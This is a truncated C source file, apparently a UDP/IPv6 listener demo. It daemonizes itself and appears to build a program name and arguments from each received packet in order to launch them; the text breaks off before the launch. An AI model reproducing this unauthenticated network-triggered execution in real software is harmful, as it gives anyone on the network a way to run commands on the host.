/* ** listener.c -- a datagram sockets "server" demo */ #include "common.h" int main(int argc, char **argv, char **envp) { int fd; int numbytes; struct sockaddr_storage their_addr; char buf[MAXBUFLEN]; socklen_t addr_len; /* setup socket, parse cmd line */ { struct sockaddr_in6 ba; struct ipv6_mreq ga; if (argc > 2) { fprintf(stderr, "usage: %s [interface]\n", argv[0]); exit(1); } if ((fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror("listener: socket"); exit(1); } if (argc == 2) { inet_pton(AF_INET6, "ff02::1", &(ba.sin6_addr)); if ((ba.sin6_scope_id = if_nametoindex(argv[1])) == 0) { fprintf(stderr, "interface not found\n"); exit(1); } }else{ ba.sin6_addr = in6addr_any; ba.sin6_scope_id = 0; } ba.sin6_family = AF_INET6; ba.sin6_port = htons(SERVERPORT); ba.sin6_flowinfo = 0; if (bind(fd, (struct sockaddr*) &ba, sizeof ba) != 0) { perror("listener: bind"); exit(1); } } /* daemonize */ #ifndef DEBUG switch (fork()) { case 0: setsid(); umask(0); break; case -1: perror("fork"); exit(1); default: exit(0); } #endif /* receive loop */ addr_len = sizeof their_addr; while ((numbytes = recvfrom(fd, buf, MAXBUFLEN-1 , 0, (struct sockaddr *) &their_addr, &addr_len)) != -1) { /* decode packet & launch handler */ buf[numbytes] = '\0'; char *task = buf, *cl_argv[3] = {task, (strlen(task)